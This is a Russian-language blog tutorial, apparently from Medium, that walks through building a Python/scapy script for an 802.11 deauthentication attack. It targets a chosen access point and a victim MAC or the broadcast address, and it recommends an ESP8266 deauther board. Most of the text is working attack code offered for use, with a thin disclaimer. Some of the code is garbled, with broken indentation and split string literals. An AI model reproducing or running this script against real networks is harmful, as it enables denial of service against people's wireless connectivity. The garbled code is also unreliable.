Вкратце: используя пару скриптов Python, вы можете взломать любую сеть Wi-Fi и полностью отключить ее. По сути, атака типа «отказ в обслуживании» против всех в этой сети или любого, кто попытается подключиться к ней в будущем.

Введение

Кадры деаутентификации — это специальные типы фреймов, которые используются в беспроводных сетях для отключения клиентского устройства от сети. В протоколе беспроводной сети 802.11 кадры отправляются точкой доступа (AP) на клиентское устройство (или наоборот), чтобы инициировать процесс отключения.

Однако хакеры и пен-тестеры нашли способы эмулировать клиентские устройства. Эти устройства отправляют на точку доступа так много кадров деаутентификации, что точка доступа фактически отключает все другие клиентские устройства и отказывается принимать любые новые подключения. Это называется "атака деаутентификации", и мы можем выполнить ее с любого устройства с сетевой картой, включая обычный компьютер!

По состоянию на конец 2022 года существуют методы обнаружения для атак с деаутентификацией, но не известны решения или конкретные методы предотвращения.

Отказ от ответственности: не выполняйте эту атаку злонамеренно; любая информация из этой статьи предназначена исключительно для информационных целей, и я не несу ответственности за ущерб любого рода или юридические осложнения, вызванные читателями этого сообщения.

Шаг за шагом

Злоумышленник может притвориться жертвой, используя ее MAC-адрес, а затем отправить кадр деаутентификации на точку доступа, чтобы отключить жертву от сеть. Инструмент aireplay-ng полезен для выполнения этого типа атаки деаутентификации, которая включает в себя нарушение связи между устройством жертвы и точкой доступа.



Нам потребуется создать скрипт Python, чтобы прервать наше общение и предотвратить доступ клиента к сети. Создайте файл Python и назовите его «deauth.py».

from scapy.all
import *
import shelve
import sys
import os
from threading
import Thread

Импортированные модули предоставляют инструменты для манипулирования пакетами, хранения данных (посредствомвзаимодействия с операционной системой) и создания и управление потоками в Python для управления задачами одновременно.

Далее добавьте следующие строки →

def main():
      interface = "mon0"
      s = shelve.open("wireless_data.dat")
      print("Seq", "\tBSSID\t\t", "\tChannel", "SSID")
      keys = s.keys()
      list1 = []
      for each in keys:
        list1.append(int(each))
      list1.sort()
      for key in list1:
        key = str(key)
      print(key, "\t", s[key][0], "\t", s[key][1], "\t", s[key][2])
      s.close()

Этот код определяет основную функцию, которая выполняет следующие задачи:

  1. Назначает строку «mon0» переменной «interface» (может потребоваться настройка)
  2. Открывает файл полки с именем «wireless_data.dat» и назначает результирующий объект переменной «s».
  3. Извлекает ключи из объекта полки и сохраняет их в списке под названием «ключи».
  4. Перебирает ключи в списке "ключи", приводя каждый ключ к целому числу и добавляя его в новый список "список1".
  5. Сортирует «список1», а затем перебирает отсортированные ключи в списке «список1», приводя каждый ключ обратно к строке и печатая ее вместе с соответствующими данными в объекте полки.

После этого используйте эти данные, чтобы обмануть точку доступа →

a = input("Enter the seq number of wifi ")
r = shelve.open("wireless_data.dat")
print("Are you Sure to attack on ", r[a][0], " ", r[a][2])
victim_mac = input("Enter the victim MAC or for broadcast
    press 0\ t ")
    if victim_mac == '0':
      victim_mac = "FF:FF:FF:FF:FF:FF"

Этот код предлагает пользователю ввести порядковый номер сети Wi-Fi, открывает файл полки с именем «wireless_data.dat» и распечатывает сообщение, содержащее данные, связанные с указанный порядковый номер из файла полки.

Затем пользователю предлагается ввести MAC-адрес жертвы или нажать «0» для трансляции. Если пользователь вводит «0», MAC-адрес жертвы устанавливается на широковещательный адрес «FF:FF:FF:FF:FF:FF».

Если вы выполнили этот шаг правильно, вы почти закончили!

cmd1 = "iwconfig wlan1 channel " + str(r[a][1])
cmd2 = "iwconfig mon0 channel " + str(r[a][1])
os.system(cmd1)
os.system(cmd2)

BSSID = r[a][0]
frame = RadioTap() / Dot11(addr1 = BSSID, addr2 = victim_mac, addr3 = BSSID) /
  Dot11Deauth()
frame1 = RadioTap() / Dot11(addr1 = victim_mac, addr2 = BSSID, addr3 = BSSID) /
  Dot11Deauth()

if victim_mac != "FF:FF:FF:FF:FF:FF":
  t1 = Thread(target = for_ap, args = (frame, interface))
  t1.start()
t2 = Thread(target = for_client, args = (frame1, interface))
t2.start()

Этот сегмент кода выполняет несколько важных задач:

  • Он устанавливает канал беспроводных интерфейсов «wlan1» и «mon0» на значение, хранящееся в файле полки под указанным порядковым номером.
  • Он создает два фрейма деаутентификации, используя классы RadioTap, Dot11 и Dot11Deauth из библиотеки scapy. Поля «addr1», «addr2» и «addr3» заголовков «Dot11» устанавливаются на значения, хранящиеся в файле полки под указанным порядковым номером и MAC-адресом устройства жертвы.
  • Он создает два потока, используя класс Thread из модуля threading. Первый поток создается с целевой функцией «for_ap» и аргументами «frame» и «interface». Второй поток создается с целевой функцией «for_client» и аргументами «frame1» и «interface».

Наконец, программа начнет атаку, используя t1.start() или t2.start().

Мы также хотим убедиться, что этот код реализован, а затем завершим нашу программу деаутентификации Python

def for_ap(frame, interface):
  while True:
    sendp(frame, iface = interface, count = 20, inter = .001)
def for_client(frame, interface):
  while True:
    sendp(frame, iface = interface, count = 20, inter = .001)
if __name__ == '__main__':
  main()

Вы также можете купить небольшую дешевую плату Arduino, чтобы весь этот скрипт выполнялся на машине, которая умещается в размер вашей руки →

Атака деаутентификации ESP8266 → Репозиторий ESP8266 SpaceHuhn на Github

ESP8266 Amazon → https://amzn.to/3v0TYnP (партнерская ссылка)

Не стесняйтесь обращаться по поводу функционала скрипта, способов улучшения программы и/или хотите реализовать его в различных областях безопасности. . Я хотел бы услышать ваши идеи!



Спасибо, что прочитали о взломе сетей Wi-Fi с помощью Python! Если вы хотите узнать больше о различных уязвимостях кибербезопасности и даже о взломе веб-сайтов, ознакомьтесь с разделом Серая зона»!



Поддержите меня как писателя (и получите доступ ко всем моим историям на Medium), подписавшись на членство в Medium с помощью моя реферальная ссылка



Спасибо!